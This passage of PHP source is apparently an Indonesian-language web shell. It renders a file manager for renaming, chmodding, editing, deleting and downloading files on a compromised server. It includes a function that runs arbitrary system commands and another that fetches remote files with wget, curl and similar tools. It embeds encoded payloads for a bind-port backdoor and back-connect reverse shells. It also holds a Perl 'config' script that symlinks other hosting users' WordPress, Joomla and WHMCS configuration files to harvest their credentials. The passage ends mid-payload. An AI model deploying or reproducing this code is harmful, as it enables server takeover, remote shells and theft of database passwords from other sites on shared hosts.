$buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?y=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ {$folder} ]</b></a>\r\n\t\t\t<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />\r\n\t\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />\r\n\t\t\t</form><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td>\r\n\t\t\t<td><center>\r\n\t\t\t<a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>\r\n\t\t\t<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \r\n\t\t\t<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> \r\n\t\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" /> \r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> \r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" \r\n\t\t\tonclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td>\r\n\t\t\t<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a> | <a href=\"?y={$pwd}&fdelete=" . $pwd . $folder . "\">delete</a></td></tr>";
}
}
foreach ($fname as $file) {
$full = $pwd . $file;
if (!$win && $posix) {
$name = @posix_getpwuid(@fileowner($folder));
$group = @posix_getgrgid(@filegroup($folder));
$owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
} else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?y={$pwd}&view={$full}\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> {$file}</b></a>\r\n\t\t<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />\r\n\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" />\r\n\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />\r\n\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />\r\n\t\t</form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>\r\n\t\t<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>\r\n\t\t<form action=\"?y={$pwd}\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> \r\n<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> \r\n<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" /> \r\n<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> \r\n<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>\r\n\t\t<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td>\r\n\t\t<td><a href=\"?y={$pwd}&edit={$full}\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a> | <a href=\"?y={$pwd}&delete={$full}\">delete</a> | <a href=\"?y={$pwd}&dl={$full}\">download</a> (<a href=\"?y={$pwd}&dlgzip={$full}\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file)
{
if ($size = @filesize($file)) {
if ($size <= 1024) {
return $size;
} else {
if ($size <= 1048576) {
$size = @round($size / 1024, 2);
return "{$size} kb";
} else {
$size = @round($size / 1024 / 1024, 2);
return "{$size} mb";
}
}
} else {
return "???";
}
}
function exe($cmd)
{
if (function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('exec')) {
@exec($cmd, $results);
$buff = "";
foreach ($results as $result) {
$buff .= $result;
}
return $buff;
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} elseif (function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file, $text)
{
$textz = gzinflate(base64_decode($text));
if ($filez = @fopen($file, "w")) {
@fputs($filez, $textz);
@fclose($file);
}
}
function ambil($link, $file)
{
if ($fp = @fopen($link, "r")) {
while (!feof($fp)) {
$cont .= @fread($fp, 1024);
}
@fclose($fp);
$fp2 = @fopen($file, "w");
@fwrite($fp2, $cont);
@fclose($fp2);
}
}
function which($pr)
{
$path = exe("which {$pr}");
if (!empty($path)) {
return trim($path);
} else {
return trim($pr);
}
}
function download($cmd, $url)
{
$namafile = basename($url);
switch ($cmd) {
case 'wwget':
exe(which('wget') . " " . $url . " -O " . $namafile);
break;
case 'wlynx':
exe(which('lynx') . " -source " . $url . " > " . $namafile);
break;
case 'wfread':
ambil($wurl, $namafile);
break;
case 'wfetch':
exe(which('fetch') . " -o " . $namafile . " -p " . $url);
break;
case 'wlinks':
exe(which('links') . " -source " . $url . " > " . $namafile);
break;
case 'wget':
exe(which('GET') . " " . $url . " > " . $namafile);
break;
case 'wcurl':
exe(which('curl') . " " . $url . " -o " . $namafile);
break;
default:
break;
}
return $namafile;
}
function get_perms($file)
{
if ($mode = @fileperms($file)) {
$perms = '';
$perms .= $mode & 0400 ? 'r' : '-';
$perms .= $mode & 0200 ? 'w' : '-';
$perms .= $mode & 0100 ? 'x' : '-';
$perms .= $mode & 040 ? 'r' : '-';
$perms .= $mode & 020 ? 'w' : '-';
$perms .= $mode & 010 ? 'x' : '-';
$perms .= $mode & 04 ? 'r' : '-';
$perms .= $mode & 02 ? 'w' : '-';
$perms .= $mode & 01 ? 'x' : '-';
return $perms;
} else {
return "??????????";
}
}
function clearspace($text)
{
return str_replace(" ", "_", $text);
}
// net tools
$port_bind_bd_c = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf\r\n+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE\r\nP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ\r\ndKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL\r\n3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug\r\nUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk\r\nHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W\r\ntyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL\r\nZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6\r\nuPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1\r\nNmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg\r\ntNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD\r\ne/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0\r\nLSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo\r\nvaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB\r\n+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St\r\nktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j\r\nS2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ\r\nja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw\r\nTskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA\r\nBYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95\r\nzzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75\r\ni+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A\r\nRkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY\r\njwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F\r\n6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMv